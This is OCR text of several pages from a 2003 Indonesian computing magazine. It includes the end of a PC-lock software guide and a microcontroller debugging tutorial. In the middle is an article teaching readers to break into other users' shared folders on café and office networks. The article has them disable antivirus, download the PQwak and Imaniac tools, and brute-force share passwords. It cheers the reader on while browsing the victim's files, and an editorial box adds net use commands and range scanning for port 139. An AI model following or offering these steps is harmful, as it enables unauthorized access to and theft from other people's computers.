Jika anda tidak ingin komputer anda dipakai orang lain sebagai sarana untuk mengakses Internet, maka manfaatkanlah program ini. Secara teknis, fungsi program ini adalah untuk mengunci program-program aplikasi yang biasa dipakai untuk mengakses Internet, misalnya IE, Netscape Navigator, mIRC, dan sebagainya. Dan satu lagi, dengan program ini anda juga nanti bisa mengunci file-file yang tidak boleh didownload. Berikut ini adalah petunjuk penggunaannya: • Klik menu Internet Lock • Klik opsi Activate Internet Internet Protection • Double-click Programs that connect to the Internet dan Programs that act as server • Pada bagian Download Control, tambahkan ekstensi file yang tidak boleh di download, lalu klik tombol Add • Pada bagian Internet Lock, aktifkan semua opsi yang anda anggap perlu 6. System Lock Fungsi utama program ini adalah untuk mengunci atau membuat jadwal penguncian sistem. Berikut ini adalah petunjuk penggunaannya: • Klik menu System Lock • Aktifkan opsi Lock Schedule • Tentukan jam/waktu mulai berlakunya penguncian system • Pada bagian Settings, aktifkan semua opsi yang anda anggap penting

Gambar 12. Memilih drive dan folder yang akan dikunci 20

Gambar 14. Menjadwalkan penguncian sistem.

NeoTek Sep/Okt 2003

NeoTekno
7. Intruder Detection 9. Restricted System

Gambar 15. Mengaktifkan fasilitas Intruder Detection.

Gambar 17. Memilih aplikasi yang boleh/tidak boleh dijalankan.

Secara teknis, fungsi utama program ini adalah untuk mendeteksi adanya kesalahan pada saat memasukkan password. Jika anda atau orang lain salah dalam memasukkan password, maka PC Security akan segera mengunci Desktop komputer anda dan menampilkan pesan peringatan (warning). Berikut ini adalah petunjuk penggunaannya: • Klik menu Intruder Detection • Klik opsi Active, Sound Alarm dan Lock the system • Tentukan berapa kali password boleh di coba 8. Explorer Control

Fungsi utama program ini adalah untuk mengatur programprogram aplikasi apa saja yang boleh atau yang tidak boleh dijalankan di system komputer anda. Berikut ini adalah petunjuk penggunaannya: • Klik menu Restricted System • Tentukan drive serta folder tempat aplikasi berada • Tentukan file aplikasinya • Klik tombol Permit bila anda mengizinkan aplikasi itu boleh dijalankan, atau • Klik tombol Restricted bila anda tidak mengizinkannya Demikianlah akhir penjelasan saya, mudahan-mudahan apa yang dibahas dalam artikel ini bermanfaat bagi anda semua.

Alternatif Freeware: WinLock 3.2
PCSecurity yang terdapat pada CD NeoTek berupa shareware. Bagi yang menginginkan program sejenis yang full version, silakan gunakan WinLock 3.2 yang semenjak diluncurkankan versi 4.0, full version-nya disediakan gratis. Berikut beberapa layar tampilan WinLock 3.2. Penggunaannya sangat mudah. Silakan coba sendiri.

Gambar 16. Mengunci semua fungsi kontrol sistem PC.

Secara umum, program ini hampir tidak jauh berbeda dengan program Policy Edtor (Poledit) yang sudah pernah saya bahas sebelumnya. Gunanya adalah untuk mengunci semua fungsi kontrol system komputer anda agar tidak bisa diakses oleh orang lain atau hacker. Dengan program ini, saya yakin akan lebih banyak lagi opsi yang nantinya bisa anda kunci, cobalah anda buktikan sendiri. Berikut ini adalah petunjuk penggunaannya: • Klik menu Explorer Control • Pilih (aktifkan) semua opsi yang akan dikunci Sep/Okt 2003 NeoTek
21

NeoTekno

Password Network Neighborhood
Kembali kerawanan network neighborhood dibahas. Kali ini dengan memperkenalkan PQwak dan Internet Maniac, dua software yang karena cara kerjanya dikategorikan sebagai software yang berbahaya oleh program antivirus. Bagaimana tidak, kalau kerjanya mencuri password.
fasilitas network-nya yang dikenal sebagai network neighborhood. Adanya network neighborhood diketahui dengan adanya Port 139 yang sedang listen. Kedalam sistem ini siapa pun dapat melakukan koneksi tanpa user name maupun password (null-session connection) dan inilah pijakan awal untuk mencari informasi di dalam network itu, mencakup network resource dan share, user, dan group. Apabila dalam network tersebut terdapat resource yang dishare tanpa password (misalnya hard disk), maka siapa pun dengan mudah dapat masuk dan menguasai resource itu dengan menggunakan NetBIOS scanner seperti Legion, NetBIOS Auditing Tool, SharesFinder, dan SMBScanner. Apabila shares yang didapat dilindungi oleh password, maka dapat digunakan fasilitas password auditor yang pada dasarnya adalah suatu Brute Force tool. Semua itu dibahas di NeoTek II/10 Juli 2002 dalam topik Enumerasi. Walaupun kerawanan pada network neighborhood ini banyak dibahas, tetap saja banyak yang masih kurang menyadari bahayanya dan dengan demikian NetBIOS tool rupanya tetap populer. Kali ini akan dibahas dua software yang dapat di-download dari www.nostalgia.host.sk yaitu PQwak dan Internet Maniac. Imaniac bertindak sebagai IP scanner yang mencari IP address dari setiap komputer yang terhubung pada Windows network (network neighborhood), sedangkan PQwak adalah suatu brute force tool terhadap share pada network.

PC S E C U R IT Y

W

INDOWS MENGGUNAKAN NETBIOS UNTUK MENJALANKAN

Program PQwak atau imaniac ini akan dideteksi oleh antivirus sebagai malicious code yaitu kode-kode yang mencurigakan yang mengarah pada trojan, sehingga program sejenis ini di-black list oleh antivirus. Jadi untuk menjalankan PQwak atau imaniac anda harus men-disable antivirus tersebut.

Eksplorasi Network Neighborhood
Diasumsuikan bahwa komputer anda adalah bagian dari Windows network, baik itu di warnet ataupun di kantor. Buka Windows Explorer lalu browse ke network neighborhood. Namanama yang tampil pada bagian kanan explorer diatas seperti: 201, 202, …, Oper2, dan server adalah hostname/netbios name. Sekarang dari nama tersebut, pilih target tujuan kita. Sebagai contoh Oper2. Dari Oper2 tersebut, kita harus mengetahui IP address komputer tersebut.

Pengantar
Dalam jaringan (LAN) di kantor atau di warnet terdapat fasilitas file sharing yang setiap komputer berhak me-share file dan juga memberikan hak akses. Hak akses tersebut bisa berupa read-only atau full-access. Jika anda pengguna Microsoft Windows harus pikir dua kali untuk melakukan sharing file di network neighborhood, karena sekarang setelah membaca artikel ini anda dipastikan bisa menjebol password network neighborhood. Tidak ada syarat atau kemampuan khusus. Hanya ada beberapa istilah yang harus di mengerti yaitu, hostname dan IP address. Password Windows untuk network neighborhood disimpan dengan huruf capital. Walaupun anda memasukkan password berupa huruf kecil maka otomatis windows akan mengkonversi passwird itu menjadi huruf kapital.

Download PQwak dan imaniac
Tool untuk menjebol password network neighborhood ini adalah PQwak yang dapat anda download di situs berikut: http://www.nostalgia.host.sk/download/pqwak/pqwak.zip Ukurannya file ini hanya 8Kb, kemudian download lagi file imaniac.zip yang ukurannya hanya 53Kb di situs berikut ini: http://www.nostalgia.host.sk/download/imaniac/imaniac.zip
22

NeoTek Sep/Okt 2003

NeoTekno
Mendapatkan IP Address
Untuk mendapatkan IP Address komputer tujuan (Oper2), maka jalankan program kita imaniac (Internet Maniac). Internet Maniac secara otomatis mendeteksi dan menampilkan IP Address kita sendiri. pada contoh terlihat bahwa IP Address komputer yang kita gunakan (merupakan bagian dari network) adalah 10.1.2.12. Untuk mencari IP Address tujuan (Oper2), klik tombol Host Lookup, maka akan muncul window Resolver. Pada Hostname or IP address, masukkan nama hostname tujuan yaitu Oper2, setelah itu klik Resolve dan akan muncul IP Address pada bagian Host addresses. Nah, sekarang kita dapatkan IP Address dari hostname tujuan yaitu Oper2 dengan IP Address 10.1.2.20

Masuk ke Share Resource
Masukkan password tersebut. Setelah password anda masukkan, maka akan anda lihat isi file folder d tersebut.

Nah, sekarang kendali ada ditangan anda. Silahkan anda bersuka ria browsing di folder d ini. Selamat mencoba...

Mendapatkan Share Password
Untuk melihat apa saja yang di-share di Oper2, maka kita klik ganda pada hostname tersebut. Pilih folder yang ingin kita bobol passwordnya, misalnya folder tersebut bernama \\OPER2\D. Klik ganda untuk membuka folder tersebut, maka akan muncul permintaan password. Selanjutnya bagaimana? Untuk mengetahui apa yang harus diisikan pada kolom password yang kosong tersebut, jalankan PQwak. Hatihati dengan antivirus anda; usahakan untuk di-disable terlebih dulu. Pada dialog PQwak terdapat kolom-kolom yang harus diisi: NBNAME Nama hostname tujuan kita (NetBIOS name), yaitu Oper2 SHARE Merupakan nama folder yang di share oleh hostname Oper2, yaitu folder d. IP Kita isikan IP Address tujuan yaitu 10.1.2.20 yang telah kita dapatkan dengan menggunakan Internet Maniac. DELAY Biarkan terisi 250 (default) Setelah syarat diatas diisikan, tekan tombol OK. UHUUUUY, ternyata password dari folder yang di-share tersebut adalah CENTIL.

Catatan Redaksi: Kembali ke Dasar
Skenario di atas mengasumsikan anda berada di warnet atau LAN kantor dan anda tidak mempunyai akses fisik ke masingmasing komputer pada network neighborhood. Apabila mempunyai akses fisik, maka mendapatkan IP address suatu komputer tidak memerlukan tool apapun, melainlan menjalankan Start > Run dan ketikkan winipcfg dan pilih network adapter yang dipakai. IP Address komputer tersebut akan ditampilkan. Untuk melakukan koneksi ke suatu komputer dalam network di IP Address 10.1.2.20, dapat juga dengan menjalankan command line C:\net use \\10.1.2.20\IPC$ Selanjutnya untuk mengetahui share apa saja yang terdapat di situ, jalankan C:\net view \\10.1.2.20 atau C:\net view Oper2. Misalnya didapat bahwa terdapat share D (mungkin hard disk). Apabila share tersebut tidak dilindungi password, anda dapat memetakannya menjadi virtual disk di komputer anda dengan perintah C:\net use G: \\10.1.2.20\D yaitu memetakan share D dari komputer dengan IP Address 10.1.2.20 menjadi disk G di komputer lokal kita. Apabila share itu dilindungi password, maka cara manual ini tidak bisa menangani. Di sini anda memerlukan fasilitas brute force tool dari PQwak atau tool lain seperti Legion. Dalam CD NeoTek kali ini, selain terdapat PQwak dan Internet Maniac, dimuat juga enumeration tool lain, yaitu Legion v2.1, NetBIOS Auditing Tool (NAT), SharesFinder, dan SMBScanner untuk anda bandingkan cara kerjanya. Juga disertakan SuperScan untuk men-scan suatu range IP address dan mencari apakah ada di antara IP address yang discan itu Port 139 yang sedang listen. Apabila ada, maka artinya terdapat Windows network (network neighborhood) yang diaktifkan. Anda dengan demikian bisa bereksplorasi ke luar dari hanya lingkungan warnet atau LAN kantor/sekolah. Penulis: M Syafii (karebet_asli@telkom.net) dan M Z Arifin (agendogget@telkom.net) Sep/Okt 2003 NeoTek
23

NeoTekno

Menjajal Kemampuan Pemicro Win I DE
Hardy The (hardythe@cbn.net.id) membahas Pemicro Win IDE yang merupakan tool lengkap, dan kali ini dibahas Simulator, In-Circuit Simulator, dan In-Circuit Debugger.
IN IDE YANG PERNAH ANDA DOWNLOAD (KXICS)PUnya beberapa subprogram yang bisa kita coba dengan routine Simple I O.asm (ada di CD NeoTek). Subprogram Win IDE terdiri dari: Text Editor, Assembler, In-Circuit Simulator, Programmer, In-Circuit Debugger., Simulatior, Text Editor, dan Assembler sudah pernah dibahas sebelumnya. Simulator, ICS, dan ICD pernah disinggung tapi kali ini lengkap dengan penerapannya. Bagi yang masih kesulitan men-download software ini, dalam CD NeoTek kali ini disediakan dua versi ICS Win IDE, yaitu ics08kxz_version_1_04A_020402 (versi 1.04) dan ics08kxz_version_1_01 (versi 1.01).

Bahasa A ssembly

W

Tekan tombol Simulation. Register yang belum pernah disentuh instruksi MCU akan bertanda XX atau UU atau tertulis Uninitialized memory. Tulisan Pod Detected: No artinya tidak menggunakan hardware.

Simulator. Simulator yang mensimulasi (menirukan fungsi MCU tanpa I/O) adalah tool yang paling murah karena tidak perlu hardware. Semua dikerjakan di dalam komputer. Praktek dengan Simulator. Copy file Simple I O 2.asm dari CD NeoTek ke hard disk anda, lalu buka file ini dengan Text Editor Win IDE. Jangan lupa copy file STARTUP.08 dan startup.icd dari dalam folder pemicro hasil instalasi ke folder yang sama dengan lokasi Simple I O 2.asm. Tekan tombol Assemble/Compile File dan pastikan akan terbentuk file-file: Simple I O 2.BAK, Simple I O 2.lst, Simple I O 2.map, Simple I O 2.s19.

Selanjutnya Anda bisa tekan tombol Step atau Multiple Step bahkan Go. Untuk menghentikan, tekan Stop. Tombol Reset akan mengembalikan ke kondisi awal tapi harus diingat data di RAM tetap bertahan. Perhatikan nilai pada lokasi $40 di dalam Memory Window 1 yang mendapat label Temp1 (yang akan terbaca waktu mouse pointer berada di address itu) sebelum dan sesudah menekan Reset. Sewaktu Simulator bekerja dengan Step, Multiple Step, atau Go (dianjurkan pakai Multiple Step), kita akan menemukan bahwa software tidak menunggu di loop Top dan dua baris selanjutnya, melainkan langsung menuju delay debounce. Hal ini disebabkan Simulator tidak bisa menirukan I/O yang bersifat Input (I/O sebagai input selalu membaca input sebenarnya) kecuali software yang menyediakan juga simulator I/O dalam softwarenya seperti Code Warrior HC08 ver. 2. Apapun yang ditulis untuk mengubah port A pin 3 tidak menghasilkan apa-apa (tetap 0) karena memang demikian sifat asli yang ditiru. Input tidak bisa diberi logika kecuali secara fisik. Sekedar untuk melihat MCU menunggu di loop input, cobalah ubah BNE TOP menjadi BEQ TOP. Delay loop yang seharusnya dilaksanakan sekitar 50 mS sekarang menjadi jauh lebih lama. Silakan hitung waktunya karena ini berhubungan dengan kecepatan CPU komputer atau berhubungan dengan jatah waktu tasking operating system yang dipakai dan ini sudah diluar bahasan kita. Bila terus dibiarkan maka setelah selesai delay debounce akan melewati penyalaan LED dan masuk ke delay 1 detik.

24

NeoTek Sep/Okt 2003

NeoTekno
Dilanjutkan dengan menunggu di OffLp karena logika input tidak bisa diubah. Melompati loop bisa dilakukan dengan mengubah Program Counter menjadi 3 byte lebih tinggi (dengan double click Register PC lalu naikkan nilainya 3 byte) karena instruksi di OffLp itu panjangnya 3 byte. Cara mudahnya dengan double click di titik biru sisi kiri JSR DLY50 di Code Window 1. Command itu bernama GoTil 0000xxxx yang bisa dibaca di window status. Metode lain mencapai baris tertentu adalah memasang breakpoint di dalam program. Breakpoint adalah jebakan yang akan menghentikan simulator bila breakpoint diakses. Pasang breakpoint dan tekan tombol Go. Hasilnya jauh lebih cepat tercapai baris tersebut. Pada Simulator breakpoint bisa dipasang banyak karena semua di urus oleh Personal Computer. Pemasangan breakpoint di sini dilakukan (oleh software bukan user seperti anda) dengan mencatat address yang dipasangi breakpoint. Apabila instruksi yang akan dilaksanakan baik dengan Step atau Go cocok dengan address breakpoint, maka Go atau GoTil akan stop pada breakpoint tersebut sambil menuliskan preset breakpoint encountered di window status. Sebenarnya Go dengan breakpoint sama saja dengan step, check breakpoint dan step lagi bila tak ada breakpoint yang cocok, tapi karena tidak perlu refresh tampilan di layar komputer, maka hasilkan akan lebih cepat tapi tetap tidak RealTime. Uniknya breakpoint juga bisa dilakukan pada Accumulator BREAKA [<n> [<address>]] dan Register HX BREAKHX [<n> [<address>]] dan Stack Pointer SP BREAKSP [<n> [<address>]] Di Simulator, Reset atau Stop bisa dilakukan kapan saja karena semua dikontrol oleh PC. Dengan Simulator, anda bisa melihat efek setiap instruksi. Memory Window 1 bisa di-scroll. Bandingkan nilai sebelum dan sesudah instruksi dilaksanakan (telah dilewati). Bila ada yang tak dimengerti, silakan email ke milis hc05_08jkt h di Yahoo! (http://groups.yahoo.com/group/hc05_08jkt/) atau langsung ke hardythe@cbn.net.id. Pelajari juga cara kerja JSR (Jump to Subroutine) yang menyimpan address return di Stack (default addressnya di FF) dan nilai stack pointer yang berubah sewaktu sedang melaksanakan subroutine. Lakukan ini dengan Step untuk JSR pertama (delay debounce) dan pakai breakpoint untuk yang delay 1 detik. Kedua JSR ini menyimpan return address yang berbeda. Praktek dengan In-Circuit Simulator.

Hubungkan PC dengan POD (misalnya mini-EVM) dan jangan lupa Simple I/O nya juga sebagai target. Tekan tombol In-Circuit Simulator. Register yang belum pernah disentuh instruksi MCU akan bertanda XX atau UU tapi tulisan Uninitialized Memory di port B tidak ada melainkan nilai dari I/O sebenarnya. Tulisan POD detected: YES karena sekarang ada hardware terdeteksi. Simulator dan ICS memiliki interface yang sama kecuali info POD tersebut. Apabila tombol ICS yang ditekan tapi tidak berhasil connect dengan POD, maka akan ditawarkan Simulation Only

In-Circuit Simulator.
Kalau Simulator punya kelemahan tidak memiliki I/O, maka In-Circuit Simulator menjawab kebutuhan ini melalui POD. MCU di ICS dikonfigurasi oleh PC (lihat di window status waktu kontak dengan POD) menjadi kurir I/O MCU ke PC, bukan sebagai MCU yang berdiri sendiri. POD bisa dibuat sendiri berupa debugger atau Mini-EVM (dibuat penulis dan dibahas di NeoTek III/6 Maret/April 2003), atau KXICS (untuk MCU KX2 atau KX8) atau Cyclone dan MultiLink. Sebagai Info:
Debugger + MCU KX8 = Rp 150.000,hanya untuk KX series, mode target. Mini-Evm = Rp 500.000,Multi MCU, power cycling, mode target dan MON08+. KXICS dari motorola = USD 295 (dulu USD 364) Hanya untuk KX series, mode target dan MON08.

Dari pemicro:
Cyclone = 399 USD Power cycling, Multi MCU, MON08, Stand Alone dan MultiLink = USD 168 Power cycling, Multi MCU, MON08.

Mini EVM

Bila kemudian tombol ini yang dipilih, maka Simulator yang terpilih (tentunya POD = No). Karena ICS tidak menggunakan Flash ROM MCU di POD, ICS tidak perduli Flashnya ada program atau tidak. Security i bytenya sebagai syarat akses ke Flash ROM cukup di-ignore karena ICS tidak perlu akses ke Flash ROM. Tapi bila Flashnya kosong (erased) konfigurasi cukup 1 kali dibandingkan bila Flash not erased perlu reset 1 kali. Dengan mini-evm yang power cyclingnya otomatis (class 1) reset cukup dengan menekan tombol di dialog box communication error. Debugger artikel neotek perlu power cycling manual setiap reset. Tombol Step, Multiple Step, Go, Stop, dan Reset bekerja seperti di Simulator dan bisa dilakukan kapan saja karena semua dikontrol oleh PC. Bila software di-MultiStep-kan, akan terlihat software menunggu (berputar) di loop Top dan dua baris selanjutnya sampai tombol di target (simple I/O) yang berhubungan dengan POD ditekan. Logika tombol di target di kirim POD ke komputer dan diperlakukan seperti aslinya. Waktu yang diperlukan delay loop kira-kira sama dengan di Simulator. Stop lalu gunakan Breakpoint dilanjutkan dengan Go untuk mempersingkat waktu. Selesai delay debounce, LED dinyalakan dan masuk ke delay 1 detik. OffLp (off Loop) merupakan singkatan dari loop menunggu tombol di lepas atau off. OffLp memastikan tombol dilepas setelah ditekan. Apabila belum dilepas maka software akan menunggu di loop ini. Hal ini untuk mencegah tekan tombol 1 kali tapi hasilnya nyala LED 1 detik yang berulang kali (test pakai ICD agar real time). Sep/Okt 2003 NeoTek
25

NeoTekno
Breakpoint di ICS sama dengan di Simulator. Baik jumlah yang cukup banyak dan disebut software breakpoint karena menggunakan mekanisme software saja. Selain itu Go di sini juga tidak RealTime. Command breakpoint BREAKA, BREAKHX, BREAKSP juga bisa dilakukan di ICS. Dengan ICS, efek setiap instruksi lebih real karena ada I/O-nya. I/O (13 pin pada KX8). Konsekuensinya: setelah init yang mengatur I/O kedua pin tsb menjadi output (pantangan untuk komunikasi), tak ada jaminan lagi komunikasi akan tetap lancar. Kegagalan Komunikasi ditampilkan dengan dialog box Communication Error. Praktek dengan In-Circuit Debugger Hubungkan PC dengan POD (yang dibahas di sini Mini-EVM) berikut Simple I/O circuit sebagai target. Untuk ICD dengan pemakaian Flash, lakukan dulu prosedur programming (lihat artikel NeoTekno di NeoTek III/1 Oktober 2002). Setelah selesai programming, tekan tombol In-Circuit Debugger. Security bytesnya pilih FF-FF-FF-FFFF-FF-FF-FF atau kosong karena security bytes diambil dari address vector Interrupt Timer CH 0, CMIREQ, IRQ1, SWI dan simple I/O belum menggunakan Vector tersebut. Semua Register statusnya jelas karena tidak ada yang disimulasi. Tampilan ICD berbeda dengan Sim dan ICS. Ada 2 Code window yang awalnya kelihatan sama. Tapi akan berbeda setelah dilakukan Load S19 File dari menu File (sebenarnya yang di load adalah Map Filenya), maka Code Window 2 akan menampilkan Source Code seperti di Sim dan ICS. Yang berperan di sini adalah Map file. Cobalah mengubah nama Map file atau extensionnya. Maka source code tidak akan tampil di Code window 2 bahkan di Sim dan ICS. Pastikan software yang sudah terprogram di MCU sama dengan nama S19 (sebenarnya map file) yang di-load ulang. Kesalahan di sini akan mengakibatkan Bad MAP file atau stepping yang aneh. Source Level Debugging ini sangat memudahkan untuk GoTil atau pemasangan Breakpoint. Di masa lalu, penulis menggunakan Macintosh (walaupun ada interface PC-nya tapi tidak cukup menarik karena sering bermasalah) dengan mode terminal ke EVM05 (ICE) tidak mendapatkan fasilitas ini dan harus membaca file listing (.lst) untuk mendapatkan address dari lokasi yang akan dipasangi breakpoint. Selanjutnya Anda bisa tekan tombol Step atau Multiple Step bahkan Go. Untuk menghentikan, tekan Stop. Tombol Reset akan mengembalikan ke posisi awal (start) tapi harus diingat Data di RAM tetap bertahan. Perhatikan nilai pada lokasi $40 di dalam Memory Window 1 yang mendapat label Temp1 (yang akan terbaca waktu mouse pointer berada di address itu) sebelum dan sesudah menekan Reset. Apabila perlu kondisi yang pasti waktu start, sebaiknya lakukan pembersihan RAM (init RAM dengan angka 0 misalnya) seperti di DemoMEVM.asm. Perhatikan bahwa:
Waktu diberikan perintah Go, maka MCU akan jalan dengan kecepatan asli dan tidak akan menghiraukan PC sampai terjadi breakpoint. Penekanan tombol Stop atau Reset (fisik) akan ditawari (Fungsi) Reset MCU ke kondisi awal (biasanya reset dihindari dalam debug agar status terakhir bisa dianalisa). Bila lebih dari sekian detik MCU tidak komunikasi dengan PC maka PC akan melaporkan Communication error dengan pilihan Reset (power Cycling POD), Halt (Stop ICD) dan Ping. Ping hanya berguna bila telah terjadi Communication Error karena terlalu lama tidak komunikasi tapi setelah sekian waktu, terjadi breakpoint (dan MCU siap ngobrol lagi dengan PC). Misalnya anda pasang breakpoint yang akan di akses bila tombol ditekan. Setelah anda Go, tombol tidak ditekan sampai Com Error. Setelah itu anda tekan Tombol. Cobalah tekan Ping. PC akan berkomunikasi lagi dengan MCU.

In-Circuit Debugger

Kedua Software di atas menggunakan CPU Komputer untuk mensimulasi kerja MCU. Karena perbedaan kecepatan kedua processor ini, maka terjadi perbedaan waktu antara simulasi dengan kenyataan (bila software Simple I O dijalankan langsung oleh MCU). Misalnya, dalam software LED diharapkan menyala 1 detik, tapi di Simulator (hanya berupa perubahan nilai 1 bit) dan di ICS, LED menyala tidak 1 detik. Kondisi ini disebut tidak RealTime. Akibatnya setelah selesai Simulasi atau ICS, perlu disetel lagi timing-nya. ICD bekerja dengan MCU tanpa disimulasi. Mendekati metode Emulasi (ICE) tapi karena konsep berbeda dan punya kelemahan dibandingkan ICE, maka disebut ICD. Dikendalikan dengan command Step, Multiple Step, Go. Pada waktu MCU diperintahkan GO (dengan atau tanpa setting breakpoint), MCU bekerja dengan komponen dan kecepatan aslinya (RealTime). Seperti ICS, ICD juga memerlukan POD. POD untuk ICD sama dengan POD ICS di atas. Penggunaan ICS cocok untuk pengajaran cara kerja MCU seperti melihat efek pelaksanaan instruksi MCU pada register atau I/O. Sedangkan kalau sudah pada praktek pembuatan dan pengujian software sebaiknya gunakan ICD karena mampu realtime. ICD bisa dilakukan dengan dua cara:
1. Dengan software diprogram ke Flash. Mengurangi endurance (jumlah tulis-hapus) Flash ROM MCU. Tak perlu terlalu dirisaukan karena jaminan Motorola minimum adalah 10 ribu kali. MCU lain spesifikasinya seribu kali tapi mungkin karena konsep yang mengikutkan faktor external, maka sering terjadi cuma bertahan sekitar 100 kali bahkan kurang. Sangat mendekati hasil akhir karena addressnya sama (waktu debug dan hasil akhirnya). 2. Dengan Load program ke RAM. Karena hanya menggunakan RAM, maka endurance Flash ROM tidak terganggu. Bermanfaat bila ingin mendapatkan RealTime tapi ingin menghemat resource (dalam hal ini Endurance Flash ROM MCU). Sayangnya kapasitas RAM yang kurang besar (KX8 192 byte, GP32 512 byte termasuk stack) mengakibatkan Software yang ditest tidak bisa besar. Kondisi ini cocok untuk praktek di lab kampus atau lab sekolah atau programmer MCU yang sedang menguji subroutine-nya. Metode ini akan dibahas di bagian akhir. Address Program harus diubah ke RAM.

ICD mempunyai kelemahan dalam hal:
1. Perlu 1 pin untuk external oscillator in. Tapi ada juga MCU yang bisa internal atau low freq Osc (32.768 kHz di GP dan GR series). Pada KX8 kebetulan pin ini bisa untuk fungsi I/O. dengan demikian waktu ICD pin ini harus direlakan untuk External OSC. Selesai proses debug, bisa saja pin ini dipakai, tapi bagian software itu terpaksa dibuat tanpa ICD. Biasanya tidak terlalu merepotkan karena sudah sebagian besar software selesai. 2. Communication line untuk ke PC. Pin ini digunakan MCU untuk komunikasi dengan PC.

Kedua pin ini (terutama pada KX8) bisa dialihkan ke target seakan-akan MCU dipindahkan ke Target dengan saklar toggle ke posisi USER. Saklar ini mengalihkan hubungan fisiknya. Sedangkan untuk softwarenya harus dilakukan dengan mengubah bagian yang berhubungan dengan kedua pin ini. Software DemoMevm dibuat untuk demo saklar ini yang bisa menampilkan penggunaan semua Universal
26

Pada Development Tool yang lebih mahal (ICE), ICE bisa kapan saja di break dengan tombol (Abort pada EVM05). Ini memaksa MCU di ICE berhubungan kembali dengan PC. Tapi kedua metode ini berbeda sekali pendekatannya.

NeoTek Sep/Okt 2003

NeoTekno
Silakan Coba dengan tombol Step. Lalu Multiple Step. Seperti di ICS, software akan menunggu di loop Top dan 2 baris di belakangnya. Tekan tombol di target sampai instruksi lda PortA terlaksana. Software akan mengalir ke delay Debounce. Delay ini lebih lama dari pada di Simulator dan ICS karena setiap instruksi di perintahkan PC ke MCU untuk menjalankannya dan kemudian MCU melapor ke PC. Bagian selanjutnya tak beda dengan hal ini. Tekan tombol Stop. Hanya tombol Go pada ICD yang RealTime. Step dan Multi Step untuk menganalisa step by step setelah terjadi breakpoint. Sekarang tekan tombol Go (jangan memasang Breakpoint), Delay loop benar-benar terlaksana dalam waktu sekitar 50 mS asalkan frekuensi Kristalnya 10 MHz. Debugger dirancang dengan 10 MHz, sedangkan Mini-EVM dirancang dengan 9.8304 MHz. Jadi Delay di Mini-EVM akan sedikit lebih lama dibanding Debugger. Tekan tombol di target, LED akan menyala sekitar 1 detik baik dengan tombol tetap ditekan atau langsung dilepas. Lepas tombol, tekan lagi. LED menyala 1 detik lagi. Kalau sudah demikian berarti semua dalam keadaan baik. Tekan tombol Stop atau Reset. Setelah Go tanpa breakpoint tadi, MCU tidak pernah berkomunikasi dengan PC. Terjadilah Com Error. Software tetap jalan secara RealTime. Jadi dari sisi software semua itu adalah kondisi normal. Hanya saja PC tidak bisa menghubungi MCU lagi tanpa melakukan Reset (tombol Stop akan menawarkan Reset juga). Ping tidak berguna disini. Pasang Breakpoint di baris OpCode BCLR 4,PORTA ; Turn LED back off. Tekan Go dan tunggu. Tidak akan terjadi Breakpoint karena software menunggu di loop Top. Tekan tombol di target, Led segera menyala. Setelah 1 detik, baru terjadi breakpoint. Di sinilah unsur RealTime Debug-nya yang artinya MCU jalan dengan RealTime sementara softwarenya sambil dipasangi breakpoint dan akan terjadi breakpoint bila adrress breakpoint diakses oleh MCU. Software bisa dibuat langsung sesuai timing aslinya (1 detik nyala), sedangkan kalau memanfaatkan In-Circuit Simulator (Simulator tidak punya I/O, lebih parah lagi), timing tersebut harus diubah agar tidak terlalu lama menunggu dan perlu diatur lagi setelah pada tahap finishing. Realtime debug sangat perlu bila misalnya anda membuat software yang bisa membedakan lama penekanan tombol. Penulis pernah membuat routine yang bisa membedakan fungsi penekanan tombol < 1 detik, 1 detik < 5 detik, dan 5 detik lebih. Breakpoint di ICD hanya 1 buah dan dilakukan secara fisik (Hardware Breakpoint). Ada register (Break Register) di MCU yang di-compare secara fisik dengan Program Counter. Bila sama, timbullah interrupt yang menyelesaikan urusan breakpoint tersebut. Address lokasi yang dipasangi breakpoint di copy ke Break Register. Sekarang kita buktikan efek penghilangan loop untuk menunggu Tombol dilepas. Pasang simbol remark di awal baris OpCode sehingga menjadi * OFFLP BRCLR 3,PORTA,OFFLP ; till sw off atau Hapus baris tersebut untuk mencoba efeknya. Perubahan ini dilakukan di file Assembly dalam Text editor Win IDE. Simpanlah dengan nama berbeda dari Simple I O 2.asm (misal testonly.asm) agar tidak merusak file asli. Assemble file tersebut. Lalu hapus program di Flash ROM MCU dan program dengan file S19 hasil Assembling tadi. Tutup Programmer. Jalankan ICD. Beri perintah Go tanpa Breakpoint. Tekan tombol di target. Maka LED akan menyala 1 detik, padam lalu menyala lagi dan seterusnya sejauh tombol tersebut belum dilepas. Menghemat Endurance Untuk menghemat endurance Flash ROM, alternatifnya adalah penggunaan RAM untuk menguji software. Pindahkan lokasi Program dari Flash ROM (address $F600) ke RAM (di contoh $45). Assemble file Simple I O 2@RAM.asm untuk dapatkan file S19-nya. Hapus Flash dengan programmer. Jalankan ICD dan gunakan security FF-FF-FF-FF-FF-FF-FF-FF karena Flash kosong. Setelah masuk, load file Simple I O 2@RAM.s19 hasil assembling dari file Simple I O 2@RAM.asm. Karena Reset Vector tidak diprogram ke Flash MCU, ICD tidak menampilkan source code dengan baik. Atur Program counter ke address awal dari software yaitu $45 dengan double click CPU register PC dan ganti nilainya dengan angka 45. Seketika Source file tampil. Jalankan Go tanpa breakpoint. Tekan tombol di target, hasilnya akan sama seperti MCU yang Flashnya terisi Simple I O 2.S19. Anda sudah dapatkan kemampuan RealTime yang hemat endurance karena jalan di RAM. Step, Multi Step, Go dengan atau tanpa breakpoint tetap bisa dijalankan. Tapi harus diingat Konsekuensinya: File S19 harus di-load ulang bila terjadi reset (power cycling) karena data di RAM hilang bila power mati. Kadang-kala perlu dilakukan load file S19 ulang pada waktu step atau Go yang belum sempurna seperti ada kesalahan Jump atau lainnya sewaktu development. Ada dua Kompromi yang menarik di sini:
